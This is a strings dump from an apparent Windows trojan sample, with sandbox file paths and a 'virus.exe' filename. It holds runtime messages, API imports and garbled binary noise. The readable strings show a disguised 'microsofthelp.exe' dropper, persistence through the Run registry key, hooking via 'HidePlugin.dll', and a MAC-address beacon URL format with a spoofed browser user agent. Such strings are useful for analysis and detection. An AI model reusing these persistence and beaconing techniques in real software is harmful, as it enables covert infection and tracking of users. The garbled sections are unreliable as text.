L!This program cannot be run in DOS mode.
3|$9D$8
D$8h\a@
D$,X`@
L$-T$,
QL$/RT$2
QL$5RT$8
T$)L$(
RT$QL$"
RT$%QL$(
(L$$jQ
_^]3[d
0\1H2@\1HA@|
3;|[_^
u_^3_^
SUVWD$4`@
D$8X`@
3PL$8$T
F|$E\$DD4
3T$Dfh
u>L$Dh
UVW3VVV
Qj<Ut$,
SQT$$h
SUVWD$
Pl$0G;
CHsH;t@~
3IQRT$
Jt Vt$
W3PS\$
T$\PQj
Vp3@w&3
PD$(RVWP
UQSVWE
$UQQSVWd
SVWE3PPPuu
]U4SVWe
E_^[USVWE
X_^[]UQSV}
[USVWUj
t.;t$$t(4v
tP8csmu,9x
U$Ru u
}EPEPWu u
$uu$u S7u
u u$u uu
VWt!u$u u
EPEPWu u
E;EsO;>|C;~
u$u Vj
_^VW|$
X_^UjhP@
u,=u$6u
WP_^[]Ujh
jEP&YY33
?csmu'
X3Ujh Q@
Ujh0Q@
QQSVWeE
_^[38E
mVW_^]M
Ujh@Q@
QQSVWee
UjhXQ@
QQSVWee
VC20XC00U
]_^[]UL$
DDDDDDDDDDDDDD
YYh(`@
HHtYHHtF
;u(xc@
YY\WP\1
@Y<v)\P
VWuBhT@
;tg5`P@
tPhtT@
_^[3W|$
GIt%t)
Gt/KuD$
GKu[^D$
tAt2t$
90tr0B=d@
@j@3Y@
@;vAA9
Wj@Y3@
t7SWU
BBBu_[j
VPVPV5@
@AA;rI3
DDDDDDDDDDDDDD
B8t6t8t't
8t3^[_G^[_
^[_UWVSM
PUjhT@
SVWe39=@
"WWShT@
M]9}tfSuu
tMWWSuu
Mu;tVSuuu
3;u>EPj
EPVhT@
E;tc]<
$euWSV^
e33M;t)uVu
wMH`U@
runtime error
TLOSS error
SING error
DOMAIN error
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
abnormal program termination
- not enough space for environment
- not enough space for arguments
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
%s?mac=%02X-%02X-%02X-%02X-%02X-%02X
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-cn
Connection: Keep-Alive
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; CIBA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
pomdfghrt
\microsofthelp.exe
WindowsHookExON
HidePlugin.dll
microsofthelp
Software\Microsoft\Windows\CurrentVersion\Run
C:\Program Files\Internet Explorer
iexplore.exe
Shell32.dll
ShellExecuteExA
Software\motherFucker
GetStringTypeALCMapStringWWaitForSingleObjectCreateThreadHeapFreeDeleteFileAExitProcesslstrcmpiAlstrcatAGetWindowsDirectoryAHeapAllocGetProcessHeapSleepGetModuleFileNameACloseHandleGetLastErrorCreateMutexAGetProcAddressLoadLibraryAHeapReAllocGetTickCountFindCloseFindFirstFileATerminateProcessCreateProcessACreateFileAReadFileWriteFileFlushFileBuffersGetFileSizeLCMapStringAGetStringTypeWMultiByteToWideCharGetOEMCPGetACPGetCPInfoRtlUnwindSetUnhandledExceptionFilterIsBadReadPtrIsBadWritePtrIsBadCodePtrGetCurrentProcessGetStdHandleWideCharToMultiByteRegSetValueExARegQueryValueExARegOpenKeyExARegCreateKeyARegOpenKeyARegCloseKeyGetAdaptersInfoInternetOpenAInternetSetOptionExAInternetOpenUrlAInternetCloseHandleInternetReadFilewsprintfA
KERNEL32.DLL
ADVAPI32.DLL
IPHLPAPI.DLL
WININET.DLL
USER32.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess
RegSetValueExA
GetAdaptersInfo
InternetOpenA
wsprintfA
VA1^K"?
VQSRV3s
PdZ[Y^
QP`YZ[Z
Mu]gb_Lz^
;s@1Ff
B+OmVo
:v0WB9}
$am@InT
L0Z1;N
XBv@u/
FsNbUdDF
-:#Q//uEG
tT!|dI
$40<w:?9
U,.-.._r
ASRqw
Fnji.@
$2%aud2|
}`W\dm3
V=n#Eaex If
0,MK%)4
OX?Dk7
F9m,?UUp
pt47Rn[/Y5
\*~NpJ}3F#
$}sPX]H[
Iz6g^(y_
S"8%JlZGC|
$ns+'A
%!?t"yu
Wdp#R`3
W&Ooy:D;
"3F}'.|
?On-9j`O
M)[wH&m
.!\b%g||
D2>pJL
=w*NF,
B (0DY
|q'$h9^
)/XXxq
:`hSK$
z/#WXy
|-_M&C
77![ci
%>E!szfG)c
apU7A01xlo
'%6kwG@
Vt?a>xr
5+QM)3`
.F+Ue((8J(oIZ%,$}f&T
yrZm8U
~['i?L~fX:hf
`i}XzV
R0Mf6q(
2glg8]H
?'nyJawx
sr,*J^(K9
GtU6AyO)$'
|^w=9{8:
&*1_i5?3
^,Zk'Xnu
?nC\9HQr
sB5vB}
$}RI}/
Ri$9`dY
OxJ%Us
k]cEwfB0>>
&kRP=rA
BWk5^fW
2|"dGDi4
@[e3'7B
'SEmK{nZeBJ
^8#u^D_k
d r@6;}tV@*,
`VC#2wXB
K1Wn$XyU
$ck}hnZA
1BB$5oH
|V34|>tL
%[{[&k
?6w+izic
xd{*;'z
E^vUs
G|JBzV<o+'(
P;jZ!IC=9
(9/[*gCF
|AT`Sc&
j4DafM8TGU*
@,y]nT 60
uD+)G%^g
|woRG[x
1"{>|:uI.
3iVUUMa
D}f=)'=/
gx%[V2K
G$Y|4I3
B\,zA7I--m
%UpAC/-g^'B
D>3_uX
['NZ~zMhkqF^2
U>}SL/1vh
PRVoTh
K\5mNAv~vkf
8G=X[VV
_N:2nAn,luG
&oYV)bFu
GkA$VL
_d]OVA
N=~R?\6d[iiy
`8GO#F
LEE>4rg$KT
H[HHVe
?{z[Z0bz
9(\&RT|*<qnL
*a(L{V
+5<x%?L}
<6_p^n0|d
sWOR@@+%O=5#,
@w]921
wMHC[>&VA1^
1VPSv{f:
:'B1wlL/
J7:##>:!
6?fnUH3X2
I04:V=#K9[UIP9k:
B%->S!WUk
z~|vThLvnb$
)B|C;(
rZEGA'+H\
MH!_KHT'0\
E,<bI>+
aO_CWc7
>ZnC#3Y!>&g3(IwE
g@PN"#%NYb|FD=B
M)[[B*V
a?V:ZN
Zugtk'
v5@VXAAQ3
f6"!dE
UE"CgQ
@3wA~"
0*E(?h
f=~Ym`N
93#&sNQZ`wNoQ
rz!`>2=K
[G`NsrG#B
Mr(tTF
0Ga!m}dfN~K
|fIFKmf
t$,'TPUWL
J7e9:CPzK;8~"
#T&|4J1*
q'~29Q-
I`qlYoF
KJo):0D
qQOEg4Af
/>hV],;[;_LPK 0&
7P5y\?N
uGf|HuN
.NSn0U
uEs@W'PU062F.A]G#e
8-+t~{"Mu90
4*>yK7t8
UygY/X{
O=`]N;t@
N,_/hRs
Y>(yk[TERiluJ^
Uwzu]d!D_YX
rfN_[Nk
-S%&
/6L~.GG
Mv1v[
GV'^ &g
hPJLPG'
R9*.Cx
[i#Oo9v
c[1f!EYyY
2/&umT;
.u+\F=K)rF
1n^PD4Z>/P
uEc(ykW
TL:Or.8
.4WErhVa8,R |
&hS,Tb#
U&J}+s
`UY7ys
.aCGn3>c
*Q=fXe[)v,
<@Pir!U$
]!pXjvOs
gd{1Z3i
oJPsPQ8
q_=:SR`dG
7UJHJ4AJ
5trx!_*L"mK`Q #
y)N)rq
W|aj.S6W}
aJ0 I BM&^xR0
L1OB0p`JJl
HzDwna
Ju*5?aq
!R{tG
13OV42Id2[S}y
g(K4muWN
e3&Y_'8
4<eZd@w.-
13OVt2Id2[S}y
2vo,dAB70
8PMqK1
@7"+tt>
GetStringTypeA
LCMapStringW
WaitForSingleObject
CreateThread
HeapFree
DeleteFileA
ExitProcess
lstrcmpiA
lstrcatA
GetWindowsDirectoryA
HeapAlloc
GetProcessHeap
GetModuleFileNameA
CloseHandle
GetLastError
CreateMutexA
GetProcAddress
LoadLibraryA
HeapReAlloc
GetTickCount
FindClose
FindFirstFileA
TerminateProcess
CreateProcessA
CreateFileA
ReadFile
WriteFile
FlushFileBuffers
GetFileSize
LCMapStringA
GetStringTypeW
MultiByteToWideChar
GetOEMCP
GetACP
GetCPInfo
RtlUnwind
SetUnhandledExceptionFilter
IsBadReadPtr
IsBadWritePtr
IsBadCodePtr
GetCurrentProcess
GetStdHandle
WideCharToMultiByte
RegSetValueExA
RegQueryValueExA
RegOpenKeyExA
RegCreateKeyA
RegOpenKeyA
RegCloseKey
GetAdaptersInfo
InternetOpenA
InternetSetOptionExA
InternetOpenUrlA
InternetCloseHandle
InternetReadFile
wsprintfA
!R{tG
13OV42Id2[S}y
g(K4muWN
e3&Y_'8
4<eZd@w.-
13OVt2Id2[S}y
2vo,dAB70
8PMqK1
@7"+tt>
cYH'ot{
!R{tG
a3KV40Id"[Smy
!R{tG
13OV4zId2[S}y
(K3muWN
'iVU(R
Bv0RMD
V42Id2[S}y
ghK6muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
s; Cb5
Sc,|yC
#&<H8m
[HP&p"y
VEyl'n.q
jk#VR3Ot
Gemawyy`
2uR[771@W^0R]
tVR3O?
Idb3l}v
4>]_h4
I]b15p
,G0S{vS
`r8&@&
_-L&]x
o4mZUW^92I'
qsrk;8C
6ZS}.B
-51)W
kKp*mETkwS`
8 #VRu
pI;)sZS>
|x.Tk0#
[V4}NdWgV\&-|e!F6
?kt{HJ,[=
!3,aGP;~
2Q}yXT}
!3,aGP;~
Zk #VRf
4([dLD
dxS5u2
%=`C3$
DXfdWlp%Vj
'Kpzfd2[PL&
rq^2<#Pcd
n4Dk #VRPg@|M`{o
NSu.o}
Nay\!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
'E2[q\y
Bb0RM9
3oV42Id2[S}y
za|lm}"yI[
f*umn"%'rF'B
S=iRO3q1
ZN(jl&8#QS
>{t&jcyE\$.4a
1gmI}m'~0
}4r$'4u)u
a"J:,`i,|ex*>
K4muWL
B2|>c xlIO
4imDI3OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
pV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
u1VOVDW,d2[=
uW:g}/
7O?e'~tCV
H]4dsS
tGcvm^
*343Kt2[R|x
f)J$mtVL
31MT61He3ZR|x
w8[4muWN
3Id2[S}y
f)J4ltVO
03OV5b
-)XR\U-}d
g(K5muVM
02NW53Id2[S}y
g(K4muWN
1R{Dw660
fl]4sUcj
9d`4_M
Y=ft&RMD
!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
!R{tG
13OV42Id2[S}y
g(K4muWN
C:\Documents and Settings\URNXYMAV\Application Data\2.exe
C:\DOCUME~1\ADMINI~1.VMG\LOCALS~1\Temp\a99c50a8b36cff4c9ef762543bc19e96babf60f3
C:\ra5pWQ.exe
C:\ydYywZ.exe
C:\9wsRVX.exe
C:\EIcZqaCm.exe
C:\HdyKDB.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\runme.exe
C:\gzspgx.exe
C:\gzspgx.exe
C:\runme.exe
C:\01a3a531edd3025d8fe753aa3bb7c5535ff25b72f6bfea74a9d9140acc7d4502
C:\08a6362cbdbc4ce3b2c3b0cd6b3966a1729c12d885268c18a5f1f3a7c85509ca
C:\Users\admin\Downloads\important_document.exe
C:\Users\admin\Downloads\important_document.exe
C:\Users\admin\Downloads\important_document.exe
C:\Users\admin\Downloads\sample.exe
C:\32cbf0bee3b7853f57b7ef9fc26438ea23b77011c64f34c5446be2224ed3c639
C:\WINDOWS\STUB.exe
C:\Users\admin\Downloads\9b3310245ae4c466657cfba81b31ab68.virus.exe
C:\b2cc8a227031ccf50283b8861fced96633310197646a05f2a6abde74737769da
C:\Users\admin\Downloads\microsofthelp.exe
C:\1277282c00eeea64604e84440e817bc07d0f72720c2ac7154b3084d078c2e9ef
C:\23929bf3ce810df3cdf0e12a7ee16853bf1a06e883161aaf2a0d37f7ea888865
j j j j j j j
( ( ( ( ( H